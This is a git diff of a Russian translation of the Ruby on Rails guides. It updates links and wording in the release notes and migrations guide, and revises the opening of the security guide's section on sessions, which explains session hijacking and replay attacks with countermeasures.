Arel](http://magicscalingsprinkles.wordpress.com/2010/01/28/why-i-wrote-arel/). +Подробнее: - [Why I wrote Arel](https://web.archive.org/web/20120718093140/http://magicscalingsprinkles.wordpress.com/2010/01/28/why-i-wrote-arel/). ### Извлечение Mail @@ -278,7 +280,7 @@ NOTE. Старый стиль команд `map` все еще работает, Подробнее: * [The Rails 3 Router: Rack it Up](http://yehudakatz.com/2009/12/26/the-rails-3-router-rack-it-up/) -* [Revamped Routes in Rails 3](http://rizwanreza.com/2009/12/20/revamped-routes-in-rails-3) +* [Revamped Routes in Rails 3](https://medium.com/fusion-of-thoughts/revamped-routes-in-rails-3-b6d00654e5b0) * [Generic Actions in Rails 3](http://yehudakatz.com/2009/12/20/generic-actions-in-rails-3/) ### Action View @@ -492,7 +494,7 @@ Active Support Вот основные изменения в Active Support: * Большая чистка всей библиотеки от неиспользуемых методов. -* Active Support более не предоставляет внешние библиотеки [TZInfo](http://tzinfo.rubyforge.org/), [Memcache Client](http://deveiate.org/projects/RMemCache/) и [Builder](http://builder.rubyforge.org/), все они включены как зависимости и устанавливаются с помощью команды `bundle install`. +* Active Support более не предоставляет внешние библиотеки TZInfo, Memcache Client и Builder, все они включены как зависимости и устанавливаются с помощью команды `bundle install`. * Безопасные буферы реализованы в `ActiveSupport::SafeBuffer`. * Добавлены `Array.uniq_by` и `Array.uniq_by!`. * Убран `Array#rand` и портирован `Array#sample` из Ruby 1.9. diff --git a/source/3_1_release_notes.md b/source/3_1_release_notes.md index 67170914..63c14c4c 100644 --- a/source/3_1_release_notes.md +++ b/source/3_1_release_notes.md @@ -8,7 +8,9 @@ * Файлопровод (Assets Pipeline) * jQuery как библиотека JavaScript по умолчанию -Эти заметки о релизе покрывают основные обновления, но не включают все мелкие багфиксы и изменения. Чтобы увидеть все, обратитесь к [списку комитов](http://github.com/rails/rails/commits/3-1-stable) в главном репозитории Rails на GitHub. +Эти заметки о релизе покрывают основные обновления. Чтобы узнать о различных багфиксах и изменениях, обратитесь к логам изменений или к [списку комитов](https://github.com/rails/rails/commits/3-1-stable) в главном репозитории Rails на GitHub. + +-------------------------------------------------------------------------------- (Upgrading to Rails 3.1) Обновление до Rails 3.1 ------------------------------------------------ @@ -143,7 +145,7 @@ $ cd myapp Сейчас Rails использует `Gemfile` в корне приложения, чтобы определить гемы, требуемые для запуска вашего приложения. Этот `Gemfile` обрабатывается [Bundler](http://github.com/carlhuda/bundler), который затем устанавливает все зависимости. Он может даже установить все зависимости локально в ваше приложение, и оно не будет зависеть от системных гемов. -Подробнее: - [домашняя страница bundler](http://gembundler.com) +Подробнее: - [домашняя страница bundler](http://bundler.io/) ### Живите на грани @@ -166,11 +168,11 @@ $ ruby /path/to/rails/railties/bin/rails new myapp --dev Главное изменение в Rails 3.1 это Assets Pipeline. Он делает CSS и JavaScript первосортным кодом, и делает доступной надлежащую организацию, включая использование в плагинах и engine-ах. -Файлопровод работает с помощью [Sprockets](https://github.com/sstephenson/sprockets) и раскрывается в руководстве [Asset Pipeline](/asset-pipeline). +Файлопровод работает с помощью [Sprockets](https://github.com/rails/sprockets) и раскрывается в руководстве [Asset Pipeline](/asset-pipeline). ### HTTP Streaming -HTTP Streaming это другое новшество в Rails 3.1. Он позволяет браузеру загружать таблицы стилей и файлы JavaScript, пока сервер все еще создает отклик. Это требует Ruby 1.9.2, является опциональным, а также требует настройки веб-сервера, но популярная связка nginx и unicorn уже готова предоставлять это преимущество. +HTTP Streaming это другое новшество в Rails 3.1. Он позволяет браузеру загружать таблицы стилей и файлы JavaScript, пока сервер все еще создает отклик. Это требует Ruby 1.9.2, является опциональным, а также требует настройки веб-сервера, но популярная связка NGINX и Unicorn уже готова предоставлять это преимущество. ### Библиотека JS по умолчанию теперь jQuery @@ -191,7 +193,7 @@ Railties * jQuery является новой библиотекой JavaScript по умолчанию. -* jQuery и Prototype более не встроенные, а предоставляются как гемы jquery-rails и prototype-rails. +* jQuery и Prototype более не встроенные, а предоставляются как гемы `jquery-rails` и `prototype-rails`. * Генератор приложения принимает опцию `-j`, которая может быть произвольной строкой. Если передать "foo", в `Gemfile` будет добавлен гем "foo-rails", и манифест JavaScript приложения затребует "foo" и "foo_ujs". В данный момент существуют только "prototype-rails" и "jquery-rails", и эти файлы предоставляются через файлопровод. diff --git a/source/3_2_release_notes.md b/source/3_2_release_notes.md index b7215bb6..042bf9e5 100644 --- a/source/3_2_release_notes.md +++ b/source/3_2_release_notes.md @@ -8,7 +8,9 @@ * Автоматические Explain для запросов * Тегированное логирование -Эти заметки о релизе покрывают основные обновления, но не включают все мелкие багфиксы и изменения. Чтобы увидеть все, обратитесь к [списку комитов](http://github.com/rails/rails/commits/3-2-stable) в главном репозитории Rails на GitHub. +Эти заметки о релизе покрывают основные обновления. Чтобы узнать о различных багфиксах и изменениях, обратитесь к логам изменений или к [списку комитов](https://github.com/rails/rails/commits/3-2-stable) в главном репозитории Rails на GitHub. + +-------------------------------------------------------------------------------- Обновление до Rails 3.2 ----------------------- @@ -74,7 +76,7 @@ $ cd myapp Сейчас Rails использует `Gemfile` в корне приложения, чтобы определить гемы, требуемые для запуска вашего приложения. Этот `Gemfile` обрабатывается [Bundler](http://github.com/carlhuda/bundler), который затем устанавливает все зависимости. Он может даже установить все зависимости локально в ваше приложение, и оно не будет зависеть от системных гемов. -Подробнее: - [домашняя страница Bundler](http://gembundler.com) +Подробнее: - [домашняя страница Bundler](http://bundler.io/) ### Живите на грани diff --git a/source/4_0_release_notes.md b/source/4_0_release_notes.md index 8f4792b5..1256c932 100644 --- a/source/4_0_release_notes.md +++ b/source/4_0_release_notes.md @@ -8,7 +8,7 @@ * Турболинки (Turbolinks) * Кэширование "матрешкой" (Russian Doll Caching) -Эти заметки о релизе покрывают только основные обновления. Чтобы узнать о различных багфиксах и изменениях, обратитесь к логам изменений или к [списку комитов](https://github.com/rails/rails/commits/master) в главном репозитории Rails на GitHub. +Эти заметки о релизе покрывают только основные обновления. Чтобы узнать о различных багфиксах и изменениях, обратитесь к логам изменений или к [списку комитов](https://github.com/rails/rails/commits/4-0-stable) в главном репозитории Rails на GitHub. Обновление до Rails 4.0 ----------------------- @@ -30,7 +30,7 @@ $ cd myapp Сейчас Rails использует `Gemfile` в корне приложения, чтобы определить гемы, требуемые для запуска вашего приложения. Этот `Gemfile` обрабатывается гемом [Bundler](http://github.com/carlhuda/bundler), который затем устанавливает все зависимости. Он может даже установить все зависимости локально в ваше приложение, и оно не будет зависеть от системных гемов. -Подробнее: - [Bundler homepage](http://gembundler.com) +Подробнее: - [домашняя страница Bundler](http://bundler.io) ### Живите на грани @@ -53,42 +53,45 @@ $ ruby /path/to/rails/railties/bin/rails new myapp --dev ### Обновление - * **Ruby 1.9.3** ([коммит](https://github.com/rails/rails/commit/a0380e808d3dbd2462df17f5d3b7fcd8bd812496)) - Предпочтителен Ruby 2.0; требуется 1.9.3+ - * **[Новая политика устареваний](http://www.youtube.com/watch?v=z6YgD6tVPQs)** - Устаревшие особенности показывают предупреждения в Rails 4.0, и будут убраны в Rails 4.1. - * **Кэширование страниц и экшнов ActionPack** ([коммит](https://github.com/rails/rails/commit/b0a7068564f0c95e7ef28fc39d0335ed17d93e90)) - Кэширование страниц и экшнов было извлечено в отдельный гем. Кэширование страниц и экшнов требовало слишком много человеческого вмешательства (вручную прекращать кэш, когда обновляются лежащие в основе объекты модели). Вместо этого используйте кэширование по принципу "русской матрешки" (Russian doll caching). - * **Обсерверы ActiveRecord** ([коммит](https://github.com/rails/rails/commit/ccecab3ba950a288b61a516bf9b6962e384aae0b)) - Обсерверы извелчены в отдельный гем. Обсерверы требовались только для кэширования страниц и экшнов и могли привести к спагетти-коду. - * **Хранилище сессии ActiveRecord** ([коммит](https://github.com/rails/rails/commit/0ffe19056c8e8b2f9ae9d487b896cad2ce9387ad)) - Хранилище сессии ActiveRecord извлечено в отдельный гем. Хранение сессий в SQL затратное. Используйте вместо него сессии куки, сессии memcache или произвольные хранилища сессии. - * **Защита от массового нащначения ActiveModel** ([коммит](https://github.com/rails/rails/commit/f8c9a4d3e88181cee644f91e1342bfe896ca64c6)) - Защита от массового назначения Rails 3 устарела. Вместо нее исользуйте строгие параметры (strong parameters). - * **ActiveResource** ([коммит](https://github.com/rails/rails/commit/f1637bf2bb00490203503fbd943b73406e043d1d)) - ActiveResource извлечен в отдельный гем. ActiveResource не был широко используемым. - * **убраны vendor/plugins** ([коммит](https://github.com/rails/rails/commit/853de2bd9ac572735fa6cf59fcf827e485a231c3)) - Для управления установленными гемами используйте Gemfile. +* **Ruby 1.9.3** ([коммит](https://github.com/rails/rails/commit/a0380e808d3dbd2462df17f5d3b7fcd8bd812496)) - Предпочтителен Ruby 2.0; требуется 1.9.3+ +* **[Новая политика устареваний](http://www.youtube.com/watch?v=z6YgD6tVPQs)** - Устаревшие особенности показывают предупреждения в Rails 4.0, и будут убраны в Rails 4.1. +* **Кэширование страниц и экшнов ActionPack** ([коммит](https://github.com/rails/rails/commit/b0a7068564f0c95e7ef28fc39d0335ed17d93e90)) - Кэширование страниц и экшнов было извлечено в отдельный гем. Кэширование страниц и экшнов требовало слишком много человеческого вмешательства (вручную прекращать кэш, когда обновляются лежащие в основе объекты модели). Вместо этого используйте кэширование по принципу "русской матрешки" (Russian doll caching). +* **Обсерверы ActiveRecord** ([коммит](https://github.com/rails/rails/commit/ccecab3ba950a288b61a516bf9b6962e384aae0b)) - Обсерверы извелчены в отдельный гем. Обсерверы требовались только для кэширования страниц и экшнов и могли привести к спагетти-коду. +* **Хранилище сессии ActiveRecord** ([коммит](https://github.com/rails/rails/commit/0ffe19056c8e8b2f9ae9d487b896cad2ce9387ad)) - Хранилище сессии ActiveRecord извлечено в отдельный гем. Хранение сессий в SQL затратное. Используйте вместо него сессии куки, сессии memcache или произвольные хранилища сессии. +* **Защита от массового нащначения ActiveModel** ([коммит](https://github.com/rails/rails/commit/f8c9a4d3e88181cee644f91e1342bfe896ca64c6)) - Защита от массового назначения Rails 3 устарела. Вместо нее исользуйте строгие параметры (strong parameters). +* **ActiveResource** ([коммит](https://github.com/rails/rails/commit/f1637bf2bb00490203503fbd943b73406e043d1d)) - ActiveResource извлечен в отдельный гем. ActiveResource не был широко используемым. +* **убраны vendor/plugins** ([коммит](https://github.com/rails/rails/commit/853de2bd9ac572735fa6cf59fcf827e485a231c3)) - Для управления установленными гемами используйте Gemfile. ### ActionPack - * **Strong parameters** ([коммит](https://github.com/rails/rails/commit/a8f6d5c6450a7fe058348a7f10a908352bb6c7fc)) - Позволяет обновлять объекты модели только разрешенными параметрами (`params.permit(:title, :text)`). - * **Routing concerns** ([коммит](https://github.com/rails/rails/commit/0dd24728a088fcb4ae616bb5d62734aca5276b1b)) - В маршрутном DSL, выделяет общие суб-маршруты (`comments` из `/posts/1/comments` and `/videos/1/comments`). - * **ActionController::Live** ([коммит](https://github.com/rails/rails/commit/af0a9f9eefaee3a8120cfd8d05cbc431af376da3)) - Потоковый JSON с помощью `response.stream`. - * **Декларативные ETags** ([коммит](https://github.com/rails/rails/commit/ed5c938fa36995f06d4917d9543ba78ed506bb8d)) - Добавляет на уровне контроллера дополнения к etag, которые будут частью вычисления etag. - * **[Кэширование Russian doll](http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works)** ([коммит](https://github.com/rails/rails/commit/4154bf012d2bec2aae79e4a49aa94a70d3e91d49)) - Кэширует вложенные фрагменты вьюх. Каждый фрагмент прекращается на основе набора зависимостей (ключа кэширования). Ключ кэширования - это обычно версия шаблона и объект модели. - * **Turbolinks** ([коммит](https://github.com/rails/rails/commit/e35d8b18d0649c0ecc58f6b73df6b3c8d0c6bb74)) - Обслуживает только первую страницу HTML. Когда пользователь переходит на следующую страницу, использует pushState для обновления URL и использует AJAX для обновления title и body. - * **Извлечение ActionView из ActionController** ([коммит](https://github.com/rails/rails/commit/78b0934dd1bb84e8f093fb8ef95ca99b297b51cd)) - ActionView был отделен от ActionPack, и будет вынесен в отдельный гем в Rails 4.1. - * **Независимость от ActiveModel** ([коммит](https://github.com/rails/rails/commit/166dbaa7526a96fdf046f093f25b0a134b277a68)) - ActionPack больше не зависит от ActiveModel. +* **Strong parameters** ([коммит](https://github.com/rails/rails/commit/a8f6d5c6450a7fe058348a7f10a908352bb6c7fc)) - Позволяет обновлять объекты модели только разрешенными параметрами (`params.permit(:title, :text)`). +* **Routing concerns** ([коммит](https://github.com/rails/rails/commit/0dd24728a088fcb4ae616bb5d62734aca5276b1b)) - В маршрутном DSL, выделяет общие суб-маршруты (`comments` из `/posts/1/comments` and `/videos/1/comments`). +* **ActionController::Live** ([коммит](https://github.com/rails/rails/commit/af0a9f9eefaee3a8120cfd8d05cbc431af376da3)) - Потоковый JSON с помощью `response.stream`. +* **Декларативные ETags** ([коммит](https://github.com/rails/rails/commit/ed5c938fa36995f06d4917d9543ba78ed506bb8d)) - Добавляет на уровне контроллера дополнения к etag, которые будут частью вычисления etag. +* **[Кэширование Russian doll](http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works)** ([коммит](https://github.com/rails/rails/commit/4154bf012d2bec2aae79e4a49aa94a70d3e91d49)) - Кэширует вложенные фрагменты вьюх. Каждый фрагмент прекращается на основе набора зависимостей (ключа кэширования). Ключ кэширования - это обычно версия шаблона и объект модели. +* **Turbolinks** ([коммит](https://github.com/rails/rails/commit/e35d8b18d0649c0ecc58f6b73df6b3c8d0c6bb74)) - Обслуживает только первую страницу HTML. Когда пользователь переходит на следующую страницу, использует pushState для обновления URL и использует AJAX для обновления title и body. +* **Извлечение ActionView из ActionController** ([коммит](https://github.com/rails/rails/commit/78b0934dd1bb84e8f093fb8ef95ca99b297b51cd)) - ActionView был отделен от ActionPack, и будет вынесен в отдельный гем в Rails 4.1. +* **Независимость от ActiveModel** ([коммит](https://github.com/rails/rails/commit/166dbaa7526a96fdf046f093f25b0a134b277a68)) - ActionPack больше не зависит от ActiveModel. ### Основное - * **ActiveModel::Model** ([коммит](https://github.com/rails/rails/commit/3b822e91d1a6c4eab0064989bbd07aae3a6d0d08)) - `ActiveModel::Model` - это миксин, чтобы обычные объекты Ruby могли работать с ActionPack "из коробки" (например, `form_for`). - * **Новый API скоупов** ([коммит](https://github.com/rails/rails/commit/50cbc03d18c5984347965a94027879623fc44cce)) - Скоупы должны быть всегда вызываемыми. - * **Выгрузка кэша схемы** ([коммит](https://github.com/rails/rails/commit/5ca4fc95818047108e69e22d200e7a4a22969477)) - Чтобы улучшить время загрузки Rails, вместо загрузки схемы непосредствненно из базы данных, загружает схему из файла выгрузки. - * **Поддержка указания уровня изоляции транзакции** ([коммит](https://github.com/rails/rails/commit/392eeecc11a291e406db927a18b75f41b2658253)) - Выбирайте, что более важно - повторяемые чтения или улучшенное быстродействие (менее блокирующее). - * **Dalli** ([коммит](https://github.com/rails/rails/commit/82663306f428a5bbc90c511458432afb26d2f238)) - Используется клиент Dalli в качестве хранилища сессии в memcache. - * **start & finish для уведомлений** ([коммит](https://github.com/rails/rails/commit/f08f8750a512f741acb004d0cebe210c5f949f28)) - Инструменты Active Support сообщают подписчикам о начале и завершении уведомлений. - * **Тредобезопасность по умолчанию** ([коммит](https://github.com/rails/rails/commit/5d416b907864d99af55ebaa400fff217e17570cd)) - Rails может быть запущен на тредовых серверах приложений без дополнительных настроек. Заметка: Проверьте, что используемые вами гемы тредобезопасны. - * **Метод PATCH** ([коммит](https://github.com/rails/rails/commit/eed9f2539e3ab5a68e798802f464b8e4e95e619e)) - В Rails PATCH заменил PUT. PATCH использется для частичного обновления ресурсов. +* **ActiveModel::Model** ([коммит](https://github.com/rails/rails/commit/3b822e91d1a6c4eab0064989bbd07aae3a6d0d08)) - `ActiveModel::Model` - это миксин, чтобы обычные объекты Ruby могли работать с ActionPack "из коробки" (например, `form_for`). +* **Новый API скоупов** ([коммит](https://github.com/rails/rails/commit/50cbc03d18c5984347965a94027879623fc44cce)) - Скоупы должны быть всегда вызываемыми. +* **Выгрузка кэша схемы** ([коммит](https://github.com/rails/rails/commit/5ca4fc95818047108e69e22d200e7a4a22969477)) - Чтобы улучшить время загрузки Rails, вместо загрузки схемы непосредствненно из базы данных, загружает схему из файла выгрузки. +* **Поддержка указания уровня изоляции транзакции** ([коммит](https://github.com/rails/rails/commit/392eeecc11a291e406db927a18b75f41b2658253)) - Выбирайте, что более важно - повторяемые чтения или улучшенное быстродействие (менее блокирующее). +* **Dalli** ([коммит](https://github.com/rails/rails/commit/82663306f428a5bbc90c511458432afb26d2f238)) - Используется клиент Dalli в качестве хранилища сессии в memcache. +* **start & finish для уведомлений** ([коммит](https://github.com/rails/rails/commit/f08f8750a512f741acb004d0cebe210c5f949f28)) - Инструменты Active Support сообщают подписчикам о начале и завершении уведомлений. +* **Тредобезопасность по умолчанию** ([коммит](https://github.com/rails/rails/commit/5d416b907864d99af55ebaa400fff217e17570cd)) - Rails может быть запущен на тредовых серверах приложений без дополнительных настроек. Заметка: Проверьте, что используемые вами гемы тредобезопасны. + +NOTE: Убедитесь, что используемые вами гемы тредобезопасны. + +* **Метод PATCH** ([коммит](https://github.com/rails/rails/commit/eed9f2539e3ab5a68e798802f464b8e4e95e619e)) - В Rails PATCH заменил PUT. PATCH использется для частичного обновления ресурсов. ### Безопасность - * **match не соответствует всем методам** ([коммит](https://github.com/rails/rails/commit/90d2802b71a6e89aedfe40564a37bd35f777e541)) - В маршрутном DSL, match требует указания метода или методов HTTP. - * **Сущности html экранируются по умолчанию** ([коммит](https://github.com/rails/rails/commit/5f189f41258b83d49012ec5a0678d827327e7543)) - Строки, рендерящиеся в erb, экранируются, если не обернуты в `raw`, или вызван `html_safe`. - * **Новые заголовки безопасности** ([коммит](https://github.com/rails/rails/commit/6794e92b204572d75a07bd6413bdae6ae22d5a82)) - Rails посылает следующие заголовки с каждым запросом HTTP: `X-Frame-Options` (предотвращает кликджекинг, запрещая браузеру встраивать страницу в фрейм), `X-XSS-Protection` (говорит браузеру прерывать инъекцию скрипта) и `X-Content-Type-Options` (предотвращает открытие браузером jpeg как exe). +* **match не соответствует всем методам** ([коммит](https://github.com/rails/rails/commit/90d2802b71a6e89aedfe40564a37bd35f777e541)) - В маршрутном DSL, match требует указания метода или методов HTTP. +* **Сущности html экранируются по умолчанию** ([коммит](https://github.com/rails/rails/commit/5f189f41258b83d49012ec5a0678d827327e7543)) - Строки, рендерящиеся в erb, экранируются, если не обернуты в `raw`, или вызван `html_safe`. +* **Новые заголовки безопасности** ([коммит](https://github.com/rails/rails/commit/6794e92b204572d75a07bd6413bdae6ae22d5a82)) - Rails посылает следующие заголовки с каждым запросом HTTP: `X-Frame-Options` (предотвращает кликджекинг, запрещая браузеру встраивать страницу в фрейм), `X-XSS-Protection` (говорит браузеру прерывать инъекцию скрипта) и `X-Content-Type-Options` (предотвращает открытие браузером jpeg как exe). Извлечение особенностей в гемы --------------------------- @@ -173,7 +176,7 @@ Active Support * `String#to_date` теперь вызывает `ArgumentError: invalid date` вместо `NoMethodError: undefined method 'div' for nil:NilClass` при получения неверной даты. Это то же самое, что и `Date.parse`, и он принимает больше неправильных дат, чем 3.x, такие как: - ``` + ```ruby # ActiveSupport 3.x "asdf".to_date # => NoMethodError: undefined method `div' for nil:NilClass "333".to_date # => NoMethodError: undefined method `div' for nil:NilClass @@ -222,11 +225,11 @@ Active Record Метод `change_table` также обратимый, если его блок не вызывает `remove`, `change` или `change_default` * Новый метод `reversible` делает возможным определить код для исполнения при выполении или откате миграции. - Смотрите [Руководство по миграциям](/rails-database-migrations#writing-a-migration) + Смотрите [Руководство по миграциям](/rails-database-migrations#using-reversible) * Новый метод `revert` обратит всю миграцию или предоставленный блок. Если миграция откатывается, данная миграция / блок выполняется обычно. - Смотрите [Руководство по миграциям](/rails-database-migrations#writing-a-migration) + Смотрите [Руководство по миграциям](/rails-database-migrations#reverting-previous-migrations) * Добавлена поддержка массивов PostgreSQL. Для создания столбца array может быть использован любой тип данных, с полной поддержкой миграций и выгрузкой схемы. diff --git a/source/4_1_release_notes.md b/source/4_1_release_notes.md index ea0b478b..feab513f 100644 --- a/source/4_1_release_notes.md +++ b/source/4_1_release_notes.md @@ -8,9 +8,7 @@ * Action Pack Variants (шаблоны, для разных устройств) * Предпросмотр писем Action Mailer -Эти заметки о релизе покрывают только основные обновления. Чтобы узнать о различных багфиксах и изменениях, обратитесь к логам изменений или к -[списку комитов](https://github.com/rails/rails/commits/master) в главном репозитории Rails на GitHub. - +Эти заметки о релизе покрывают только основные обновления. Чтобы узнать о различных багфиксах и изменениях, обратитесь к логам изменений или к [списку комитов](https://github.com/rails/rails/commits/master) в главном репозитории Rails на GitHub. -------------------------------------------------------------------------------- diff --git a/source/active_record_migrations.md b/source/active_record_migrations.md index 39423430..75ee93a8 100644 --- a/source/active_record_migrations.md +++ b/source/active_record_migrations.md @@ -446,7 +446,7 @@ Product.connection.execute('UPDATE `products` SET `price`=`free` WHERE 1') Если вы нуждаетесь в использовании иных методов, следует использовать `reversible` или писать методы `up` и `down` вместо метода `change`. -### Использование `reversible` +### (using-reversible) Использование `reversible` Комплексная миграция может включать процессы, которые Active Record не знает как обратить. Вы можете использовать `reversible`, чтобы указать что делать когда миграция требует отката. Например: @@ -486,7 +486,7 @@ end ### Использование методов `up`/`down` -Вы также можете использовать старый стиль миграций используя `up` и `down` методы, вместо `change`. +Вы также можете использовать старый стиль миграций используя `up` и `down` методы, вместо `change`. Метод `up` должен описывать изменения, которые вы хотите внести в вашу схему, а метод `down` вашей миграции должен обращать изменения, внесенные методом `up`. Другими словами, схема базы данных должна остаться неизменной после выполнения `up`, а затем `down`. Например, если вы создали таблицу в методе `up`, ее следует удалить в методе `down`. Разумно производить отмену изменений в полностью противоположном порядке тому, в котором они сделаны в методе `up`. Например в сравнении с кодом `reversible` следующий код будет эквивалентным ```ruby @@ -523,7 +523,7 @@ end Если ваша миграция не обратима вам следует вызвать `ActiveRecord::IrreversibleMigration` из вашего метода `down`. Если кто-либо попытается отменить вашу миграцию, будет отображена ошибка, что это не может быть выполнено. -### Возвращение к предыдущим миграциям +### (reverting-previous-migrations) Возвращение к предыдущим миграциям Вы можете использовать возможность Active Record откатить миграции используя `revert` метод: diff --git a/source/index.yml b/source/index.yml index bf5816d1..f83f1cb0 100644 --- a/source/index.yml +++ b/source/index.yml @@ -243,20 +243,20 @@ pages: - title: Заметки о релизе Ruby on Rails 3.1 path: 3_1_release_notes file: 3_1_release_notes.md - revision: 998550396f1911d830a8d52f71972030064a1a9e - date: 17/12/2013 + revision: f7b5f6d88a3e5a33eb622875e699432d45659f91 + date: 15/06/2015 - title: Заметки о релизе Ruby on Rails 3.2 path: 3_2_release_notes file: 3_2_release_notes.md - revision: e10f91000be7e67e7fa6768088f381668d81be05 - date: 14/12/2013 + revision: f7b5f6d88a3e5a33eb622875e699432d45659f91 + date: 15/06/2015 - title: Заметки о релизе Ruby on Rails 4.0 path: 4_0_release_notes file: 4_0_release_notes.md - revision: 798da61825cb3ba8a44b8a9bf8cb984acd373332 - date: 17/12/2013 + revision: f7b5f6d88a3e5a33eb622875e699432d45659f91 + date: 15/06/2015 - title: Заметки о релизе Ruby on Rails 4.1 path: 4_1_release_notes From a75a85bc7383bb29dea2533b9e5e040759d2119e Mon Sep 17 00:00:00 2001 From: Markov Alexey Date: Thu, 20 Aug 2015 22:40:43 +0400 Subject: [PATCH 083/932] Update security --- source/index.yml | 4 +- source/security.md | 218 +++++++++++++++++++++++++-------------------- 2 files changed, 122 insertions(+), 100 deletions(-) diff --git a/source/index.yml b/source/index.yml index 6bf5e051..06eb58d8 100644 --- a/source/index.yml +++ b/source/index.yml @@ -129,8 +129,8 @@ pages: - title: Руководство Ruby On Rails по безопасности path: ruby-on-rails-security-guide file: security.md - revision: 8f8ccb9901cab457c6e1d52bdb25acf658fd5777 - date: 14/09/2014 + revision: 33a72824b8e355b5f2666816fb62573b5bebc1ae + date: 25/07/2015 - title: Отладка приложений на Rails path: debugging-rails-applications diff --git a/source/security.md b/source/security.md index 568bef1a..da7d3f6c 100644 --- a/source/security.md +++ b/source/security.md @@ -23,7 +23,7 @@ Угрозы против веб приложений включают похищение пользовательской записи, обход контроля доступа, чтение или изменение конфиденциальных данных или представление мошеннического содержимого. Или атакующий может получить возможность установки программы-трояна или программы отправки нежелательных e-mail с целью финансовой выгоды, или нанесения вреда брэнду, с помощью изменения ресурсов компании. Для предотвращения атак, сведения к минимуму их последствий и удаления уязвимых мест прежде всего необходимо полное понимание методов атак, чтобы найти правильные контрмеры. Это то, на что направлено это руководство. -Для разработки безопасных веб приложений вы должны быть в курсе всех уровней и знать своих врагов. Чтобы быть в курсе, подпишитесь на подписку по безопасности, читайте блоги по безопасности, регулярно осуществляйте обновления и тестирования безопасности (смотрите раздел [Дополнительные источники](#additional-resources)). +Для разработки безопасных веб приложений вы должны быть в курсе всех уровней безопасности и знать своих врагов. Чтобы быть в курсе, подпишитесь на рассылку по безопасности, читайте блоги по безопасности, регулярно осуществляйте обновления и производите проверки безопасности (смотрите раздел [Дополнительные источники](#additional-resources)). Делайте это вручную, посколько так вы можете найти неприятные проблемы безопасности на уровне логики. (sessions) Сессии ----------------- @@ -32,11 +32,11 @@ ### Что такое сессии? -NOTE: _HTTP это протокол, независимый от предыдущих запросов. Сессии добавляют эту зависимость._ +NOTE: _HTTP - это протокол, независимый от предыдущих запросов. Сессии добавляют эту зависимость._ Большинству приложений необходимо следить за определенным состоянием конкретного пользователя. Это может быть содержимым корзины товаров или id залогиненного пользователя. Без идеи сессии пользователю нужно идентифицироваться, а возможно и аутентифицироваться, с каждым запросом. Rails создаст новую сессию автоматически, если новый пользователь получит доступ к приложению. Он загрузит существующую сессию, если пользователь уже пользовался приложением. -Сессия обычно состоит из хэша значений и id сессии, обычно 32-символьной строкой, идентифицирующего хэш. Каждый куки, посланный браузеру клиента, включает id сессии. И с другой стороны: пошлет его серверу с каждым запросом от клиента. В Rails можно сохранять и получать значения, используя метод session: +Сессия обычно состоит из хэша значений и id сессии, обычно 32-символьной строкой, идентифицирующего хэш. Каждый куки, посланный браузеру клиента, включает id сессии. И с другой стороны, браузер пошлет его серверу с каждым запросом от клиента. В Rails можно сохранять и получать значения, используя метод session: ```ruby session[:user_id] = @current_user.id @@ -45,15 +45,15 @@ User.find(session[:user_id]) ### Id сессии -NOTE: _Id сессии это 32-байтное хэшированное значение MD5._ +NOTE: _Id сессии - это 32-байтное хэшированное значение MD5._ -Id сессии состоит из хэшированного значения случайной строки. Случайная строка это текущее время, случайное число от 0 до 1, номер id процесса интерпретатора Ruby (также базирующегося на случайном числе) и строка-константа. В настоящее время не представляется возможным брутфорсить id сессии Rails. В настоящее время MD5 применяется бескомпромиссно, но он имеет коллизии, поэтому теоретически возможно создание разных строк результата с одинаковым хэшированным значением. Но это не влияет на безопасность на сегодняшний день. +Id сессии состоит из хэшированного значения случайной строки. Случайная строка - это текущее время, случайное число от 0 до 1, номер id процесса интерпретатора Ruby (также базирующегося на случайном числе) и строка-константа. В настоящее время не представляется возможным брутфорсить id сессии Rails. На сегодняшний день MD5 применяется бескомпромиссно, но он имеет коллизии, поэтому теоретически возможно создание разных строк результата с одинаковым хэшированным значением. Но это не влияет на безопасность на сегодняшний день. ### Похищение сессии WARNING: _Воровство id пользовательской сессии позволяет злоумышленнику использовать веб приложение от лица жертвы._ -Многие веб приложения имеют такую систему аутентификации: пользователь предоставляет имя пользователя и пароль, веб приложение проверяет их и хранит id соответствующего пользователя в хэше сессии. С этого момента сессия валидна. При каждом запросе приложение загрузит пользователя, определенного user id в сессии, без необходимости новой аутентификации. Session id в куки идентифицирует сессию. +Многие веб приложения имеют такую систему аутентификации: пользователь предоставляет имя пользователя и пароль, веб приложение проверяет их и хранит id соответствующего пользователя в хэше сессии. С этого момента сессия валидна. При каждом запросе приложение загрузит пользователя, определенного по user id в сессии, без необходимости новой аутентификации. Id сессии в куки идентифицирует сессию. Таким образом, куки служит как временная аутентификация для веб приложения. Любой, кто воспользовался куки от кого-то другого, может пользоваться веб приложением, как этот пользователь – с возможными серьезными последствиями. Вот несколько способов похищения сессии и контрмеры этому: @@ -64,7 +64,7 @@ WARNING: _Воровство id пользовательской сессии п ``` * Многие не очищают куки поле работы на публичном терминале. Поэтому, если предыдущий пользователь не вышел из веб приложения, вы сможете его использовать как этот пользователь. Обеспечьте пользователя _кнопкой выхода_ в веб приложении, и _сделайте ее заметной_. -* Часто межсайтовый скриптинг (XSS) ставит целью получение куки пользователя. [Подробнее о XSS](#cross-site-scripting-xss) вы прочитаете позже. +* Часто межсайтовый скриптинг (XSS, cross-site scripting) ставит целью получение куки пользователя. [Подробнее о XSS](#cross-site-scripting-xss) вы прочитаете позже. * Вместо похищения неизвестных злоумышленнику куки, он изменяет идентификатор сессии пользователя (в куки) на известный ему. Об этих так называемых фиксациях сессии вы прочитаете позже. Основная цель большинства злоумышлеников это сделать деньги. Подпольные цены за краденную банковскую учетную запись варьируются в пределах $10–$1000 (в зависимости от доступной суммы средств), $0.40–$20 за номер кредитной карточки, $1–$8 за аккаунт онлайн аукциона и $4–$30 за пароль от email, в соответствии с [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf). @@ -118,7 +118,7 @@ NOTE: _Другой тип атак, которого следует опаса Включение поля nonce (случайное значение) в сессию решает проблему атак воспроизведения. Поле nonce валидно только один раз, и сервер должен отслеживать все валидные nonce. Такое становится еще более сложным, если у вас несколько серверов приложений (mongrels). Хранение nonce в таблице базы данных аннулирует основную цель CookieStore (избежание доступа к базе данных). -Лучшее _решение против атак это хранить данные такого рода не в сессии, а в базе данных_. В нашем случае храните величину кредита в базе данных, а 